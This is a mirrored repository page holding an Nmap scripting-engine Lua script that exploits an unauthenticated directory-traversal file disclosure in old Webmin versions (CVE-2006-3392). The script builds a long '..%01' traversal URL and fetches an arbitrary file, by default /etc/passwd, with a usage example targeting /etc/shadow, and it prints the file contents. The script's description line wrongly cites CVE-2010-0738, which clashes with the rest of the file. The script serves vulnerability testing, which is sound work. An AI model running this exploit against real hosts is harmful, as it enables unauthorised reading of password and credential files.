mirror of
https://github.com/nmap/nmap.git
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810f7d4803
This is a catchall pattern with a few exclusions. $ sed -i 's/stdnse.print_debug( *\([0-9]*\) *, *\(.*\))/stdnse.debug\1(\2)/' *.nse $ sed -i 's/stdnse.print_debug(\(.*\))/stdnse.debug1(\1)/' *.nse Excluded: $ svn revert db2-das-info.nse $ svn revert flume-master-info.nse $ svn revert http-headers.nse $ svn revert http-methods.nse $ svn revert http-unsafe-output-escaping.nse $ svn revert http-userdir-enum.nse $ svn revert http-vuln-cve2011-3192.nse $ svn revert http-vuln-wnr1000-creds.nse $ svn revert http-wordpress-plugins.nse $ svn revert telnet-brute.nse
80 lines
3.2 KiB
Lua
80 lines
3.2 KiB
Lua
local http = require "http"
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local shortport = require "shortport"
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local stdnse = require "stdnse"
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local string = require "string"
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local vulns = require "vulns"
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description = [[
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Exploits a file disclosure vulnerability in Webmin (CVE-2010-0738)
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Webmin before 1.290 and Usermin before 1.220 calls the simplify_path function before decoding HTML.
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This allows arbitrary files to be read, without requiring authentication, using "..%01" sequences
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to bypass the removal of "../" directory traversal sequences.
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]]
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---
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-- @usage
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-- nmap -sV --script http-vuln-cve2006-3392 <target>
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-- nmap -p80 --script http-vuln-cve2006-3392 --script-args http-vuln-cve2006-3392.file=/etc/shadow <target>
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-- @output
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-- PORT STATE SERVICE REASON
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-- 10000/tcp open webmin syn-ack
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-- | http-vuln-cve2006-3392:
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-- | VULNERABLE:
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-- | Webmin File Disclosure
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-- | State: VULNERABLE (Exploitable)
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-- | IDs: CVE:CVE-2006-3392
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-- | Description:
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-- | Webmin before 1.290 and Usermin before 1.220 calls the simplify_path function before decoding HTML.
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-- | This allows arbitrary files to be read, without requiring authentication, using "..%01" sequences
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-- | to bypass the removal of "../" directory traversal sequences.
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-- | Disclosure date: 2006
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-- | Extra information:
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-- | Proof of Concept:/unauthenticated/..%01/..%01/(..)/etc/passwd
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-- | References:
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-- | http://www.rapid7.com/db/modules/auxiliary/admin/webmin/file_disclosure
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-- |_ http://www.exploit-db.com/exploits/1997/
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--
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-- @args http-vuln-cve2006-3392.file <FILE>. Default: /etc/passwd
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---
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author = "Paul AMAR <aos.paul@gmail.com>"
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license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
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categories = {"exploit","vuln","intrusive"}
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portrule = shortport.portnumber({10000})
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action = function(host, port)
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local file_var = stdnse.get_script_args(SCRIPT_NAME .. ".file") or "/etc/passwd"
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local vuln = {
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title = 'Webmin File Disclosure',
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state = vulns.STATE.NOT_VULN, -- default
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IDS = {CVE = 'CVE-2006-3392'},
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description = [[
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Webmin before 1.290 and Usermin before 1.220 calls the simplify_path function before decoding HTML.
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This allows arbitrary files to be read, without requiring authentication, using "..%01" sequences
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to bypass the removal of "../" directory traversal sequences.
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]],
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references = {
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'http://www.exploit-db.com/exploits/1997/',
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'http://www.rapid7.com/db/modules/auxiliary/admin/webmin/file_disclosure',
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},
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dates = {
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disclosure = {year = '2006', month = '06', day = '29'},
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},
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}
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local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
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local url = "/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01" .. file_var
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stdnse.debug1("Getting " .. file_var)
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local detection_session = http.get(host, port, url)
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stdnse.debug1("Status code:"..detection_session.status)
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if detection_session and detection_session.status == 200 then
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vuln.state = vulns.STATE.EXPLOIT
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stdnse.debug1(detection_session.body)
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return vuln_report:make_output(detection_session.body)
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end
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end |